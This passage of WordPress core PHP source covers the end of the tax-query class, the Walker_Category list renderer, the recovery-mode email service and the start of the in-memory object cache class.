	 * @param array $query The single query. Passed by reference.
	 */
	private function clean_query( &$query ) {
		if ( empty( $query['taxonomy'] ) ) {
			if ( 'term_taxonomy_id' !== $query['field'] ) {
				$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
				return;
			}

			// So long as there are shared terms, 'include_children' requires that a taxonomy is set.
			$query['include_children'] = false;
		} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
			$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
			return;
		}

		if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
			$query['terms'] = array_unique( (array) $query['terms'] );
		} else {
			$query['terms'] = wp_parse_id_list( $query['terms'] );
		}

		if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
			$this->transform_query( $query, 'term_id' );

			if ( is_wp_error( $query ) ) {
				return;
			}

			$children = array();
			foreach ( $query['terms'] as $term ) {
				$children   = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
				$children[] = $term;
			}
			$query['terms'] = $children;
		}

		$this->transform_query( $query, 'term_taxonomy_id' );
	}

	/**
	 * Transforms a single query, from one field to another.
	 *
	 * Operates on the `$query` object by reference. In the case of error,
	 * `$query` is converted to a WP_Error object.
	 *
	 * @since 3.2.0
	 *
	 * @param array  $query           The single query. Passed by reference.
	 * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id',
	 *                                or 'term_id'. Default 'term_id'.
	 */
	public function transform_query( &$query, $resulting_field ) {
		if ( empty( $query['terms'] ) ) {
			return;
		}

		if ( $query['field'] === $resulting_field ) {
			return;
		}

		$resulting_field = sanitize_key( $resulting_field );

		// Empty 'terms' always results in a null transformation.
		$terms = array_filter( $query['terms'] );
		if ( empty( $terms ) ) {
			$query['terms'] = array();
			$query['field'] = $resulting_field;
			return;
		}

		$args = array(
			'get'                    => 'all',
			'number'                 => 0,
			'taxonomy'               => $query['taxonomy'],
			'update_term_meta_cache' => false,
			'orderby'                => 'none',
		);

		// Term query parameter name depends on the 'field' being searched on.
		switch ( $query['field'] ) {
			case 'slug':
				$args['slug'] = $terms;
				break;
			case 'name':
				$args['name'] = $terms;
				break;
			case 'term_taxonomy_id':
				$args['term_taxonomy_id'] = $terms;
				break;
			default:
				$args['include'] = wp_parse_id_list( $terms );
				break;
		}

		if ( ! is_taxonomy_hierarchical( $query['taxonomy'] ) ) {
			$args['number'] = count( $terms );
		}

		$term_query = new WP_Term_Query();
		$term_list  = $term_query->query( $args );

		if ( is_wp_error( $term_list ) ) {
			$query = $term_list;
			return;
		}

		if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) {
			$query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) );
			return;
		}

		$query['terms'] = wp_list_pluck( $term_list, $resulting_field );
		$query['field'] = $resulting_field;
	}
}
<?php
/**
 * Taxonomy API: Walker_Category class
 *
 * @package WordPress
 * @subpackage Template
 * @since 4.4.0
 */

/**
 * Core class used to create an HTML list of categories.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_Category extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'category';

	/**
	 * Database fields to use.
	 *
	 * @since 2.1.0
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 * @todo Decouple this
	 */
	public $db_fields = array(
		'parent' => 'parent',
		'id'     => 'term_id',
	);

	/**
	 * Starts the list before the elements are added.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::start_lvl()
	 *
	 * @param string $output Used to append additional content. Passed by reference.
	 * @param int    $depth  Optional. Depth of category. Used for tab indentation. Default 0.
	 * @param array  $args   Optional. An array of arguments. Will only append content if style argument
	 *                       value is 'list'. See wp_list_categories(). Default empty array.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		if ( 'list' !== $args['style'] ) {
			return;
		}

		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent<ul class='children'>\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::end_lvl()
	 *
	 * @param string $output Used to append additional content. Passed by reference.
	 * @param int    $depth  Optional. Depth of category. Used for tab indentation. Default 0.
	 * @param array  $args   Optional. An array of arguments. Will only append content if style argument
	 *                       value is 'list'. See wp_list_categories(). Default empty array.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		if ( 'list' !== $args['style'] ) {
			return;
		}

		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent</ul>\n";
	}

	/**
	 * Starts the element output.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string  $output            Used to append additional content (passed by reference).
	 * @param WP_Term $data_object       Category data object.
	 * @param int     $depth             Optional. Depth of category in reference to parents. Default 0.
	 * @param array   $args              Optional. An array of arguments. See wp_list_categories().
	 *                                   Default empty array.
	 * @param int     $current_object_id Optional. ID of the current category. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$category = $data_object;

		/** This filter is documented in wp-includes/category-template.php */
		$cat_name = apply_filters( 'list_cats', esc_attr( $category->name ), $category );

		// Don't generate an element if the category name is empty.
		if ( '' === $cat_name ) {
			return;
		}

		$atts         = array();
		$atts['href'] = get_term_link( $category );

		if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) {
			/**
			 * Filters the category description for display.
			 *
			 * @since 1.2.0
			 *
			 * @param string  $description Category description.
			 * @param WP_Term $category    Category object.
			 */
			$atts['title'] = strip_tags( apply_filters( 'category_description', $category->description, $category ) );
		}

		/**
		 * Filters the HTML attributes applied to a category list item's anchor element.
		 *
		 * @since 5.2.0
		 *
		 * @param array   $atts {
		 *     The HTML attributes applied to the list item's `<a>` element, empty strings are ignored.
		 *
		 *     @type string $href  The href attribute.
		 *     @type string $title The title attribute.
		 * }
		 * @param WP_Term $category          Term data object.
		 * @param int     $depth             Depth of category, used for padding.
		 * @param array   $args              An array of arguments.
		 * @param int     $current_object_id ID of the current category.
		 */
		$atts = apply_filters( 'category_list_link_attributes', $atts, $category, $depth, $args, $current_object_id );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( is_scalar( $value ) && '' !== $value && false !== $value ) {
				$value       = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$link = sprintf(
			'<a%s>%s</a>',
			$attributes,
			$cat_name
		);

		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
			$link .= ' ';

			if ( empty( $args['feed_image'] ) ) {
				$link .= '(';
			}

			$link .= '<a href="' . esc_url( get_term_feed_link( $category, $category->taxonomy, $args['feed_type'] ) ) . '"';

			if ( empty( $args['feed'] ) ) {
				/* translators: %s: Category name. */
				$alt = ' alt="' . sprintf( __( 'Feed for all posts filed under %s' ), $cat_name ) . '"';
			} else {
				$alt   = ' alt="' . $args['feed'] . '"';
				$name  = $args['feed'];
				$link .= empty( $args['title'] ) ? '' : $args['title'];
			}

			$link .= '>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= $name;
			} else {
				$link .= "<img src='" . esc_url( $args['feed_image'] ) . "'$alt" . ' />';
			}

			$link .= '</a>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= ')';
			}
		}

		if ( ! empty( $args['show_count'] ) ) {
			$link .= ' (' . number_format_i18n( $category->count ) . ')';
		}

		if ( 'list' === $args['style'] ) {
			$output     .= "\t<li";
			$css_classes = array(
				'cat-item',
				'cat-item-' . $category->term_id,
			);

			if ( ! empty( $args['current_category'] ) ) {
				// 'current_category' can be an array, so we use `get_terms()`.
				$_current_terms = get_terms(
					array(
						'taxonomy'   => $category->taxonomy,
						'include'    => $args['current_category'],
						'hide_empty' => false,
					)
				);

				foreach ( $_current_terms as $_current_term ) {
					if ( $category->term_id === $_current_term->term_id ) {
						$css_classes[] = 'current-cat';
						$link          = str_replace( '<a', '<a aria-current="page"', $link );
					} elseif ( $category->term_id === $_current_term->parent ) {
						$css_classes[] = 'current-cat-parent';
					}

					while ( $_current_term->parent ) {
						if ( $category->term_id === $_current_term->parent ) {
							$css_classes[] = 'current-cat-ancestor';
							break;
						}

						$_current_term = get_term( $_current_term->parent, $category->taxonomy );
					}
				}
			}

			/**
			 * Filters the list of CSS classes to include with each category in the list.
			 *
			 * @since 4.2.0
			 *
			 * @see wp_list_categories()
			 *
			 * @param string[] $css_classes An array of CSS classes to be applied to each list item.
			 * @param WP_Term  $category    Category data object.
			 * @param int      $depth       Depth of page, used for padding.
			 * @param array    $args        An array of wp_list_categories() arguments.
			 */
			$css_classes = implode( ' ', apply_filters( 'category_css_class', $css_classes, $category, $depth, $args ) );
			$css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : '';

			$output .= $css_classes;
			$output .= ">$link\n";
		} elseif ( isset( $args['separator'] ) ) {
			$output .= "\t$link" . $args['separator'] . "\n";
		} else {
			$output .= "\t$link<br />\n";
		}
	}

	/**
	 * Ends the element output, if needed.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 *
	 * @param string $output      Used to append additional content (passed by reference).
	 * @param object $data_object Category data object. Not used.
	 * @param int    $depth       Optional. Depth of category. Not used.
	 * @param array  $args        Optional. An array of arguments. Only uses 'list' for whether should
	 *                            append to output. See wp_list_categories(). Default empty array.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		if ( 'list' !== $args['style'] ) {
			return;
		}

		$output .= "</li>\n";
	}
}
<?php
/**
 * Error Protection API: WP_Recovery_Mode_Email_Link class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to send an email with a link to begin Recovery Mode.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
final class WP_Recovery_Mode_Email_Service {

	const RATE_LIMIT_OPTION = 'recovery_mode_email_last_sent';

	/**
	 * Service to generate recovery mode URLs.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Link_Service
	 */
	private $link_service;

	/**
	 * WP_Recovery_Mode_Email_Service constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param WP_Recovery_Mode_Link_Service $link_service
	 */
	public function __construct( WP_Recovery_Mode_Link_Service $link_service ) {
		$this->link_service = $link_service;
	}

	/**
	 * Sends the recovery mode email if the rate limit has not been sent.
	 *
	 * @since 5.2.0
	 *
	 * @param int   $rate_limit Number of seconds before another email can be sent.
	 * @param array $error      Error details from `error_get_last()`.
	 * @param array $extension {
	 *     The extension that caused the error.
	 *
	 *     @type string $slug The extension slug. The plugin or theme's directory.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 * @return true|WP_Error True if email sent, WP_Error otherwise.
	 */
	public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) {

		$last_sent = get_option( self::RATE_LIMIT_OPTION );

		if ( ! $last_sent || time() > $last_sent + $rate_limit ) {
			if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) {
				return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) );
			}

			$sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension );

			if ( $sent ) {
				return true;
			}

			return new WP_Error(
				'email_failed',
				sprintf(
					/* translators: %s: mail() */
					__( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ),
					'mail()'
				)
			);
		}

		$err_message = sprintf(
			/* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */
			__( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ),
			human_time_diff( $last_sent ),
			human_time_diff( $last_sent + $rate_limit )
		);

		return new WP_Error( 'email_sent_already', $err_message );
	}

	/**
	 * Clears the rate limit, allowing a new recovery mode email to be sent immediately.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function clear_rate_limit() {
		return delete_option( self::RATE_LIMIT_OPTION );
	}

	/**
	 * Sends the Recovery Mode email to the site admin email address.
	 *
	 * @since 5.2.0
	 *
	 * @param int   $rate_limit Number of seconds before another email can be sent.
	 * @param array $error      Error details from `error_get_last()`.
	 * @param array $extension {
	 *     The extension that caused the error.
	 *
	 *     @type string $slug The extension slug. The directory of the plugin or theme.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 * @return bool Whether the email was sent successfully.
	 */
	private function send_recovery_mode_email( $rate_limit, $error, $extension ) {

		$url      = $this->link_service->generate_url();
		$blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

		$switched_locale = switch_to_locale( get_locale() );

		if ( $extension ) {
			$cause   = $this->get_cause( $extension );
			$details = wp_strip_all_tags( wp_get_extension_error_description( $error ) );

			if ( $details ) {
				$header  = __( 'Error Details' );
				$details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details;
			}
		} else {
			$cause   = '';
			$details = '';
		}

		/**
		 * Filters the support message sent with the the fatal error protection email.
		 *
		 * @since 5.2.0
		 *
		 * @param string $message The Message to include in the email.
		 */
		$support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) );

		/**
		 * Filters the debug information included in the fatal error protection email.
		 *
		 * @since 5.3.0
		 *
		 * @param array $message An associative array of debug information.
		 */
		$debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) );

		/* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */
		$message = __(
			'Howdy!

WordPress has a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email.
###CAUSE###
First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues.

###SUPPORT###

If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further.

###LINK###

To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires.

When seeking help with this issue, you may be asked for some of the following information:
###DEBUG###

###DETAILS###'
		);
		$message = str_replace(
			array(
				'###LINK###',
				'###EXPIRES###',
				'###CAUSE###',
				'###DETAILS###',
				'###SITEURL###',
				'###PAGEURL###',
				'###SUPPORT###',
				'###DEBUG###',
			),
			array(
				$url,
				human_time_diff( time() + $rate_limit ),
				$cause ? "\n{$cause}\n" : "\n",
				$details,
				home_url( '/' ),
				home_url( $_SERVER['REQUEST_URI'] ),
				$support,
				implode( "\r\n", $debug ),
			),
			$message
		);

		$email = array(
			'to'          => $this->get_recovery_mode_email_address(),
			/* translators: %s: Site title. */
			'subject'     => __( '[%s] Your Site is Experiencing a Technical Issue' ),
			'message'     => $message,
			'headers'     => '',
			'attachments' => '',
		);

		/**
		 * Filters the contents of the Recovery Mode email.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 The `$email` argument includes the `attachments` key.
		 *
		 * @param array  $email {
		 *     Used to build a call to wp_mail().
		 *
		 *     @type string|array $to          Array or comma-separated list of email addresses to send message.
		 *     @type string       $subject     Email subject
		 *     @type string       $message     Message contents
		 *     @type string|array $headers     Optional. Additional headers.
		 *     @type string|array $attachments Optional. Files to attach.
		 * }
		 * @param string $url   URL to enter recovery mode.
		 */
		$email = apply_filters( 'recovery_mode_email', $email, $url );

		$sent = wp_mail(
			$email['to'],
			wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ),
			$email['message'],
			$email['headers'],
			$email['attachments']
		);

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		return $sent;
	}

	/**
	 * Gets the email address to send the recovery mode link to.
	 *
	 * @since 5.2.0
	 *
	 * @return string Email address to send recovery mode link to.
	 */
	private function get_recovery_mode_email_address() {
		if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) {
			return RECOVERY_MODE_EMAIL;
		}

		return get_option( 'admin_email' );
	}

	/**
	 * Gets the description indicating the possible cause for the error.
	 *
	 * @since 5.2.0
	 *
	 * @param array $extension {
	 *     The extension that caused the error.
	 *
	 *     @type string $slug The extension slug. The directory of the plugin or theme.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 * @return string Message about which extension caused the error.
	 */
	private function get_cause( $extension ) {

		if ( 'plugin' === $extension['type'] ) {
			$plugin = $this->get_plugin( $extension );

			if ( false === $plugin ) {
				$name = $extension['slug'];
			} else {
				$name = $plugin['Name'];
			}

			/* translators: %s: Plugin name. */
			$cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name );
		} else {
			$theme = wp_get_theme( $extension['slug'] );
			$name  = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug'];

			/* translators: %s: Theme name. */
			$cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name );
		}

		return $cause;
	}

	/**
	 * Return the details for a single plugin based on the extension data from an error.
	 *
	 * @since 5.3.0
	 *
	 * @param array $extension {
	 *     The extension that caused the error.
	 *
	 *     @type string $slug The extension slug. The directory of the plugin or theme.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found.
	 */
	private function get_plugin( $extension ) {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		$plugins = get_plugins();

		// Assume plugin main file name first since it is a common convention.
		if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) {
			return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ];
		} else {
			foreach ( $plugins as $file => $plugin_data ) {
				if ( str_starts_with( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) {
					return $plugin_data;
				}
			}
		}

		return false;
	}

	/**
	 * Return debug information in an easy to manipulate format.
	 *
	 * @since 5.3.0
	 *
	 * @param array $extension {
	 *     The extension that caused the error.
	 *
	 *     @type string $slug The extension slug. The directory of the plugin or theme.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 * @return array An associative array of debug information.
	 */
	private function get_debug( $extension ) {
		$theme      = wp_get_theme();
		$wp_version = get_bloginfo( 'version' );

		if ( $extension ) {
			$plugin = $this->get_plugin( $extension );
		} else {
			$plugin = null;
		}

		$debug = array(
			'wp'    => sprintf(
				/* translators: %s: Current WordPress version number. */
				__( 'WordPress version %s' ),
				$wp_version
			),
			'theme' => sprintf(
				/* translators: 1: Current active theme name. 2: Current active theme version. */
				__( 'Active theme: %1$s (version %2$s)' ),
				$theme->get( 'Name' ),
				$theme->get( 'Version' )
			),
		);

		if ( null !== $plugin ) {
			$debug['plugin'] = sprintf(
				/* translators: 1: The failing plugins name. 2: The failing plugins version. */
				__( 'Current plugin: %1$s (version %2$s)' ),
				$plugin['Name'],
				$plugin['Version']
			);
		}

		$debug['php'] = sprintf(
			/* translators: %s: The currently used PHP version. */
			__( 'PHP version %s' ),
			PHP_VERSION
		);

		return $debug;
	}
}
<?php
/**
 * Object Cache API: WP_Object_Cache class
 *
 * @package WordPress
 * @subpackage Cache
 * @since 5.4.0
 */

/**
 * Core class that implements an object cache.
 *
 * The WordPress Object Cache is used to save on trips to the database. The
 * Object Cache stores all of the cache data to memory and makes the cache
 * contents available by using a key, which is used to name and later retrieve
 * the cache contents.
 *
 * The Object Cache can be replaced by other caching mechanisms by placing files
 * in the wp-content folder which is looked at in wp-settings. If that file
 * exists, then this file will not be included.
 *
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP_Object_Cache {

	/**
	 * Holds the cached objects.
	 *
	 * @since 2.0.0
	 * @var array
	 */
	private $cache = array();

	/**
	 * The amount of times the cache data was already stored in the cache.
	 *
	 * @since 2.5.0
	 * @var int
	 */
	public $cache_hits = 0;

	/**
	 * Amount of times the cache did not have the request in cache.
	 *
	 * @since 2.0.0
	 * @var int
	 */
	public $cache_misses = 0;

	/**
	 * List of global cache groups.
	 *
	 * @since 3.0.0
	 * @var string[]
	 */
	protected $global_groups = array();

	/**
	 * The blog prefix to prepend to keys in non-global groups.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	private $blog_prefix;

	/**
	 * Holds the value of is_multisite().
	 *
	 * @since 3.5.0
	 * @var bool
	 */
	private $multisite;

	/**
	 * Sets up object properties; PHP 5 style constructor.
	 *
	 * @since 2.0.8
	 */
	public function __construct() {
		$this->multisite   = is_multisite();
		$this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : '';
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		return $this->$name;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name  Property to set.
	 * @param mixed  $value Property value.
	 * @return mixed Newly-set property.
	 */
	public function __set( $name, $value ) {
		return $this->$name = $value;
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Serves as a utility function to determine whether a key is valid.
	 *
	 * @since 6.1.0
	 *
	 * @param int|string $key Cache key to check for validity.
	 * @return bool Whether the key is valid.
	 */
	protected function is_valid_key( $key ) {
		if ( is_int( $key ) ) {
			return true;
		}

		if ( is_string( $key ) && trim( $key ) !== '' ) {
			return true;
		}

		$type = gettype( $key );

		if ( ! function_exists( '__' ) ) {
			wp_load_translations_early();
		}

		$message = is_string( $key )
			? __( 'Cache key must not be an empty string.' )
			/* translators: %s: The type of the given cache key. */
			: sprintf( __( 'Cache key must be an integer or a non-empty string, %s given.' ), $type );

		_doing_it_wrong(
			sprintf( '%s::%s', __CLASS__, debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS, 2 )[1]['function'] ),
			$message,
			'6.1.0'
		);

		return false;
	}

	/**
	 * Serves as a utility function to determine whether a key exists in the cache.
	 *
	 * @since 3.4.0
	 *
	 * @param int|string $key   Cache key to check for existence.
	 * @param string     $group Cache group for the key existence check.
	 * @return bool Whether the key exists in the cache for the given group.
	 */
	protected function _exists( $key, $group ) {
		return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) );
	}

	/**
	 * Adds data to the cache if it doesn't already exist.
	 *
	 * @since 2.0.0
	 *
	 * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data.
	 * @uses WP_Object_Cache::set()     Sets the data after the checking the cache
	 *                                  contents existence.
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True on success, false if cache key and group already exist.
	 */
	public function add( $key, $data, $group = 'default', $expire = 0 ) {
		if ( wp_suspend_cache_addition() ) {
			return false;
		}

		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $key;
		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$id = $this->blog_prefix . $key;
		}

		if ( $this->_exists( $id, $group ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Adds multiple values to the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $data   Array of keys and values to be added.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if cache key and group already exist.
	 */
	public function add_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->add( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Replaces the contents in the cache, if contents already exist.
	 *
	 * @since 2.0.0
	 *
	 * @see WP_Object_Cache::set()
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True if contents were replaced, false if original value does not exist.
	 */
	public function replace( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $key;
		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$id = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $id, $group ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Sets the data contents into the cache.
	 *
	 * The cache contents are grouped by the $group parameter followed by the
	 * $key. This allows for duplicate IDs in unique groups. Therefore, naming of
	 * the group should be used with care and should follow normal function
	 * naming guidelines outside of core WordPress usage.
	 *
	 * The $expire parameter is not used, because the cache will automatically
	 * expire for each time a page is accessed and PHP finishes. The method is
	 * more for cache plugins which use files.
	 *
	 * @since 2.0.0
	 * @since 6.1.0 Returns false if cache key is invalid.
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. Not used.
	 * @return bool True if contents were set, false if key is invalid.
	 */
	public function set( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( is_object( $data ) ) {
			$data = clone $data;
		}

		$this->cache[ $group ][ $key ] = $data;
		return true;
	}

	/**
	 * Sets multiple values to the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $data   Array of key and value to be set.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is always true.
	 */
	public function set_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->set( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Retrieves the cache contents, if it exists.
	 *
	 * The contents will be first attempted to be retrieved by searching by the
	 * key in the cache group. If the cache is hit (success) then the contents
	 * are returned.
	 *
	 * On failure, the number of cache misses will be incremented.
	 *
	 * @since 2.0.0
	 *
	 * @param int|string $key   The key under which the cache contents are stored.
	 * @param string     $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool       $force Optional. Unused. Whether to force an update of the local cache
	 *                          from the persistent cache. Default false.
	 * @param bool       $found Optional. Whether the key was found in the cache (passed by reference).
	 *                          Disambiguates a return of false, a storable value. Default null.
	 * @return mixed|false The cache contents on success, false on failure to retrieve contents.
	 */
	public function get( $key, $group = 'default', $force = false, &$found = null ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( $this->_exists( $key, $group ) ) {
			$found             = true;
			$this->cache_hits += 1;
			if ( is_object( $this->cache[ $group ][ $key ] ) ) {
				return clone $this->cache[ $group ][ $key ];
			} else {
				return $this->cache[ $group ][ $key ];
			}
		}

		$found               = false;
		$this->cache_misses += 1;
		return false;
	}

	/**
	 * Retrieves multiple values from the cache in one call.
	 *
	 * @since 5.5.0
	 *
	 * @param array  $keys  Array of keys under which the cache contents are stored.
	 * @param string $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool   $force Optional. Whether to force an update of the local cache
	 *                      from the persistent cache. Default false.
	 * @return array Array of return values, grouped by key. Each value is either
	 *               the cache contents on success, or false on failure.
	 */
	public function get_multiple( $keys, $group = 'default', $force = false ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->get( $key, $group, $force );
		}

		return $values;
	}

	/**
	 * Removes the contents of the cache key in the group.
	 *
	 * If the cache key does not exist in the group, then nothing will happen.
	 *
	 * @since 2.0.0
	 *
	 * @param int|string $key        What the contents in the cache are called.
	 * @param string     $group      Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool       $deprecated Optional. Unused. Default false.
	 * @return bool True on success, false if the contents were not deleted.
	 */
	public function delete( $key, $group = 'default', $deprecated = false ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		unset( $this->cache[ $group ][ $key ] );
		return true;
	}

	/**
	 * Deletes multiple values from the cache in one call.
	 *
	 * @since 6.0.0
	 *
	 * @param array  $keys  Array of keys to be deleted.
